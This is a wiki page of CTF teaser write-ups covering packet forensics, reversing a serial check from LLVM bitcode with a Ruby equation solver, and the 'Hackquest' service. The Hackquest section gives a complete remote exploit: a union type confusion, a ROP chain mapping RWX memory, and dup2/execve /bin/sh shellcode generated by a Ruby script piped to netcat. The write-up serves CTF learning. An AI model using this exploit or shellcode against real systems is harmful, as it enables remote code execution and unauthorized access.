Last modified on 8 January 2012, at 14:23

Gits2012teaser

Revision as of 14:23, 8 January 2012 by Francois (Talk | contribs) (#1 TelAviv)

#1 TelAviv

Question

What is the password? (File)
Hint: TeLaViv+ is a packet forensics challenge.

Solution

The file 7139a4ea239dcac655f7c38ca6a77b61.bin is a regular pcap file which contains a single TCP session.

Gist-telaviv-tcp-session.png

The client sends 245 bytes to the server as an authentification mechanism (red data in the screenshot). The actual data is composed of multiple parts:

  • "GitS", probably some dummy data
  • a NULL byte
  • "Plague", potential username
  • 233 remaining bytes, this is the actual password we're looking for

#2 AL's Revenge

  • file 49dd327824d5afe9cdf931ea4b13719f.bin says xz compressed file -> xzcat > f
  • file f says LLVM bitcode -> llvm-dis > f.s (only works with LLVM 2.8, not with 3.0)
  • analyze disassembly, extract C representation:
int
VerifySerial(uint64_t name, uint64_t serial)
{
	uint64_t a = 0x8000000000000000LL;
        uint64_t b = 0xa348fccd93aea5a7LL;
	uint64_t result = 0;

	/* high order bit set? */
	if (name & a)
		a ^= b;

	if (serial & a)
		serial ^= b;

	while (serial != 0) {
		if (serial & 1)
			result ^= name;

		serial >>= 1;
		name <<= 1;

		if (name & a)
			name ^= b;
	}H

	return (result == 1);
}
  • it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
  • lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:
  • The shifting and xoring produces a set of integers, call them name_i. If the serial bit s_i is set, name_i gets added to the result. So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.
  • lacking math package fu, implement a gaussian elimination manually:
class Numeric
  def bits64
    sprintf("%064b", self).each_char.map{|c| c == "0" ? 0 : 1}
  end
end

def names(name)
  p = 0xa348fccd93aea5a7

  if (name >> 63) & 1 == 1
    name ^= p
  end

  ([name] + 63.times.map do |i|
    name <<= 1
    if (name >> 63) & 1 == 1
      name ^= p
    end
    name
  end).map(&:bits64)
end

class Array
  def pivot
    res = []
    self[0].size.times.map do |i|
      self.size.times.map do |j|
        self[j][i]
      end
    end
  end

  def bitary_to_int
    self.join.to_i(2)
  end
end

class Eq < Array
  attr_accessor :res

  def initialize(ary, res)
    self.replace(ary)
    @res = res
  end

  def lead_zero
    self.take_while{|e| e == 0}
  end

  def first_pos
    self.index(1)
  end

  def subtract(o)
    Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res)
  end
end

class EqSys < Array
  def initialize(ary, res=nil)
    if !(Eq === ary[0]) && !ary.empty?
      ary = ary.zip(res).map{|a, r| Eq.new(a, r)}
    end
    self.replace(ary)
  end

  def sort_by_zeros
    self.sort do |a, b|
      a.lead_zero <=> b.lead_zero
    end
  end

  def subtract_eq(eq)
    pos = eq.first_pos
    return self if not pos
    EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e})
  end

  def elim
    front = EqSys.new([])
    cur = nil
    rest = self.sort_by_zeros
    while not rest.empty?
      front << cur if cur
      cur = rest.shift

      front = front.subtract_eq(cur)
      rest = rest.subtract_eq(cur)
      rest = rest.sort_by_zeros
    end
    front << cur

    front
  end

  def to_s
    self.map{|e| e.map(&:to_s).join + " = #{e.res}"}.join("\n")
  end
end

require 'pp'
if __FILE__ == $0
  ns = names(0x6638623261336134)

  pv = ns.pivot
  es = EqSys.new(pv, 1.bits64)

  puts es.to_s
  puts

  r = es.elim
  puts r.to_s

  res = r.map{|e| e.res}.reverse
  puts res.bitary_to_int.to_s(16)

  s0 = r.pivot.last.reverse
  puts s0.bitary_to_int.to_s(16)
  puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)
end

#3 Hackquest

  • Remote system running some sort of text adventure.
  • Hint dropped source code partially (extremely helpful)
  • Hint from irc: look at the items
  • struct ItemInfo contains a union:
union
{
        void* data;
        LocationInfo* newLocation;
        struct ItemInfo* newItem;
        struct
        {
                ActionInfo* actionInfo;
                char* requiredTarget;
        } action;
        struct
        {
                char* name;
                struct ItemInfo* newItem;
        } namedUnwrap;
} info;
  • magical item:
{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
  • use() has an insufficient test:
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
    (item->type == ITEM_UNWRAP))
{
        sendMsg(s, "That item can't have a target.\n");
        ok = false;
}
else if (!strcasecmp(item->info.action.requiredTarget, target))
{
        sendMsg(s, item->message);
        item->info.action.actionInfo->func(s);
        showDesc = item->info.action.actionInfo->showDesc;
}
  • if we "use letter on $target", we can make it call ->func()
  • .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
  • ->func aliases with .name
  • the game asks us for our name, and stores this into a 31 byte static buffer
  • whatever we use as name will be used as function address to be called -> we captured control flow
  • ROP ensues:
  • first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
  • then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
  • our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
  • work around this problem by putting bootstrap shellcode into the static name buffer (see above)
  • bootstrap code copies stack-relative buffer to our page, then transfers control:
	leal	0x41(%esp),%esi	# calc source from stack offset
	popl	%edi		# dest addr is already on stack
	pushl	$0x41		# dest offset so that we don't get overwritten
	popl	%ecx		# duplicates as length
	addl	%ecx,%edi	# add offset
	push	%edi		# store dest for later
	rep	movsl		# copy
	popl	%edi		# retrieve old dest
	jmp	*%edi		# jump there
  • remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
	pushl	%ecx		# ecx was cleared by rep above, put 0 on stack
	movl	0xAB(%esp),%ebx	# get socket fd from stack offset
1:	
	pushl	$0x3f		# dup2 syscall number
	popl	%eax		# into eax
	int	$0x80		# do syscall
	inc	%ecx		# inc desc2
	cmp	$0x3,%cl	# do for 0, 1, 2
	jne	1b		# repeat

	popl	%ecx		# zero ecx = argv
	mull	%ecx		# zero eax, edx = env
        pushl	$0x0068732f	# /sh\0
        pushl   $0x6e69622f	# /bin
	movl	%esp,%ebx	# string arg
	movb	$0xb,%al	# execve syscall number
	int	$0x80		# magic!
  • cat key.txt
  • all combined, use as (ruby h.rb; cat) | nc host 7331
addr = 0x60606000               # our page address
src = 0x804c2a0                 # from 0x80498f4

sockoffset = 0xbc

p = [
     # offset 0
     "use letter on ",
     # offset 14
     0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],
     # offset 31
     " " * (0x44 - 32),           # fill
     # offset 0x44
     0x80486d4,          # C mmap
     0x8048db5,          # L add $0x1c,%esp | ret
     addr,               # (void *addr,
     4096,               #  size_t len,
     1 | 2 | 4,          #  int prot = PROT_READ | PROT_WRITE | PROT_EXEC,
     0x10 | 0x02 | 0x20, #  int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
     0,                  #  int filedes,
     0,                  #  off_t off)
     0,                  # filler, also possibly offset
     0x80487d4,          # C memcpy
     addr,               # L addr = shellcode
     addr,               # (void *dest,
     src + 4,            #  const void *src,
     200,                #  size_t n).
     
     [
      0x51,                         # pushl  %ecx    # ecx was cleared by rep above, put 0 on stack
      0x8b, 0x9c, 0x24], sockoffset, # movl  XXX(%esp),%ebx   # get socket fd from stack offset
     [0x6a, 0x3f,                   # 1: pushl $0x3f # dup2 syscall number
      0x58,                         # popl  %eax     # into eax
      0xcd, 0x80,                   # int   $0x80    # do syscall
      0x41,                         # inc   %ecx     # inc desc2
      0x80, 0xf9, 0x03,             # cmp   $0x3,%cl # do for 0, 1, 2
      0x75, 0xf5,                   # jne   1b       # repeat

      0x59,       # popl  %ecx  # zero ecx = argv
      0xf7, 0xe1, # mull  %ecx  # zero eax, edx = env
      0x68, 0x2f, 0x73, 0x68, 0x00, # pushl  0x0068732f  # /sh\0
      0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl  0x6e69622f  # /bin
      0x89, 0xe3, # movl  %esp,%ebx  # string arg
      0xb0, 0x0b, # movb  $0xb,%al   # execve syscall number
      0xcd, 0x80  # int	$0x80        # magic!
     ]
    ]

shellcode = 0xc

# this lives at src
namelen = 20
name = [
        # stack pivot
        0x08049019,              # add $0x9c,%esp | ret

        # bootstrap shellcode
        [
         0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi
         0x5f,                    # popl  %edi
         0x6a, namelen,           # pushl $XXX
         0x59,                    # popl  %ecx
         0x01, 0xcf,              # addl  %ecx,%edi
         0x57,                    # push  %edi
         0xf3, 0xa5,              # rep movsl
         0x5f,                    # popl  %edi
         0xff, 0xe7,              # jmp   *%edi
        ],
       ]

all = name +
  [
   "\n",
   "get can\n",
   "use can\n",
   "go south\n",
   "get letter\n",
  ] +
  p + ["\n"]

def collapse(a)
  a.map do |e|
    case e
    when Numeric
      [e].pack("V")
    when Array
      e.pack('C*')
    else
      e.to_s
    end
  end.join
end

if __FILE__ == $0
  cp = collapse(all)
  # puts cp.size
  print cp
end